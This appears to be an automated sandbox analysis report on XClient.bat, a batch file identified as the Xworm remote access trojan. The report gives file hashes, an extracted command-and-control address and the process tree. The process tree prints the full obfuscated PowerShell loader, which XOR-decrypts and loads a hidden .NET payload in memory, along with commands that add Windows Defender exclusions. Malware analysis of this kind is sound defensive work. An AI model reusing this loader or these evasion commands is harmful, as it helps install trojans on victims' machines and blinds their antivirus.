Analysis

  • max time kernel
    93s
  • max time network
    144s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    18-11-2024 21:25

General

  • Target

    XClient.bat

  • Size

    66KB

  • MD5

    ded6a5751236497347ed27d22226ef8d

  • SHA1

    be89ce17f8dade3336202acc0b7ac78d3f9dbdca

  • SHA256

    713b3b9b9cd5a6c17626b7f31a8173f5b397db4ea0d986114524fd988803f4f2

  • SHA512

    8356eacb14d0cb5e552d383e6a5afe0873b1de2b9f002f743bd7d7aee50748011406964407e0ea0a3e04e03677410785cd385c72d88a10ced33d9315ba427ef4

  • SSDEEP

    1536:iZAamnjGVMuIfaG8PUTjSQ3qYZmdN+p6CjQU+n2S+9Kh:WAamjVuWLTjR6YZ2Ip6CjQUo2SMQ

Malware Config

Extracted

Family

xworm

C2

name-hundred.gl.at.ply.gg:10055

Attributes
  • install_file

    Windows.exe

Signatures

  • Detect Xworm Payload 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Xworm family
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Delays execution with timeout.exe 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\XClient.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:532
    • C:\Users\Admin\AppData\Local\Temp\XClient.bat.exe
      "XClient.bat.exe" -noprofile -windowstyle hidden -ep bypass -command $MACmm = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\XClient.bat').Split([Environment]::NewLine);foreach ($ctUEx in $MACmm) { if ($ctUEx.StartsWith(':: ')) { $WrLPu = $ctUEx.Substring(3); break; }; };$rNiyV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($WrLPu);$dKTzZ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('O3DlLOZ1HoqoHUXVbXCi17PqHhkd750PUh0uxdCau4Y=');for ($i = 0; $i -le $rNiyV.Length - 1; $i++) { $rNiyV[$i] = ($rNiyV[$i] -bxor $dKTzZ[$i % $dKTzZ.Length]); };$HeEGM = New-Object System.IO.MemoryStream(, $rNiyV);$zLsAA = New-Object System.IO.MemoryStream;$Vwwuc = New-Object System.IO.Compression.GZipStream($HeEGM, [IO.Compression.CompressionMode]::Decompress);$Vwwuc.CopyTo($zLsAA);$Vwwuc.Dispose();$HeEGM.Dispose();$zLsAA.Dispose();$rNiyV = $zLsAA.ToArray();$lapFA = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($rNiyV);$JOwJF = $lapFA.EntryPoint;$JOwJF.Invoke($null, (, [string[]] ('')))
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:5068
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\XClient.bat'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:388
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'XClient.bat.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1404
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp6B38.tmp.bat""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2412
        • C:\Windows\system32\timeout.exe
          timeout 3
          4⤵
          • Delays execution with timeout.exe
          PID:3892

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    2KB

    MD5

    d85ba6ff808d9e5444a4b369f5bc2730

    SHA1

    31aa9d96590fff6981b315e0b391b575e4c0804a

    SHA256

    84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

    SHA512

    8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    944B

    MD5

    6d3e9c29fe44e90aae6ed30ccf799ca8

    SHA1

    c7974ef72264bbdf13a2793ccf1aed11bc565dce

    SHA256

    2360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d

    SHA512

    60c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    1cc5e033811a5d520bb4a6904b5c433b

    SHA1

    c159a342ed372790600b3a6ac97e274638a0ce9a

    SHA256

    9e20052dd29dfcd8220dcf271acd3e27f9d6b785d72531043741ef349b48c7a8

    SHA512

    dd8b57e50382a7a84aea3986c3ae8a38ade0fb84a5c9696339487022321be12f08aff9d47455a28137e31a8632cda2490dcf0332c6b3c72e7cfdd10e63e4f429

  • C:\Users\Admin\AppData\Local\Temp\XClient.bat.exe

    Filesize

    442KB

    MD5

    04029e121a0cfa5991749937dd22a1d9

    SHA1

    f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

    SHA256

    9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

    SHA512

    6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_e2fmndub.24f.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\tmp6B38.tmp.bat

    Filesize

    163B

    MD5

    4215b42527bad1624bc89afd197fee46

    SHA1

    f6e754df1e126488d3b08440611024a5664722b6

    SHA256

    d58955283f951cdd3dc50a587cee426b499aba85d9a4b5854f1d0eec0aae6a30

    SHA512

    35bbee3d210be1c1996ffe7271552e6bf713c9be00da8c40955ac0822b267173d04e9748d9782b8b4d7a73575e8f053103a1856156add177473cda2cbe81d719

  • memory/388-31-0x00007FFE84930000-0x00007FFE853F1000-memory.dmp

    Filesize

    10.8MB

  • memory/388-34-0x00007FFE84930000-0x00007FFE853F1000-memory.dmp

    Filesize

    10.8MB

  • memory/388-29-0x00007FFE84930000-0x00007FFE853F1000-memory.dmp

    Filesize

    10.8MB

  • memory/388-30-0x00007FFE84930000-0x00007FFE853F1000-memory.dmp

    Filesize

    10.8MB

  • memory/5068-16-0x00007FFE84930000-0x00007FFE853F1000-memory.dmp

    Filesize

    10.8MB

  • memory/5068-19-0x00000224A6690000-0x00000224A66A6000-memory.dmp

    Filesize

    88KB

  • memory/5068-17-0x00000224A6680000-0x00000224A6692000-memory.dmp

    Filesize

    72KB

  • memory/5068-15-0x00007FFE84930000-0x00007FFE853F1000-memory.dmp

    Filesize

    10.8MB

  • memory/5068-47-0x00007FFE84933000-0x00007FFE84935000-memory.dmp

    Filesize

    8KB

  • memory/5068-48-0x00007FFE84930000-0x00007FFE853F1000-memory.dmp

    Filesize

    10.8MB

  • memory/5068-49-0x00007FFE84930000-0x00007FFE853F1000-memory.dmp

    Filesize

    10.8MB

  • memory/5068-5-0x00000224A6330000-0x00000224A6352000-memory.dmp

    Filesize

    136KB

  • memory/5068-4-0x00007FFE84933000-0x00007FFE84935000-memory.dmp

    Filesize

    8KB

  • memory/5068-56-0x00007FFE84930000-0x00007FFE853F1000-memory.dmp

    Filesize

    10.8MB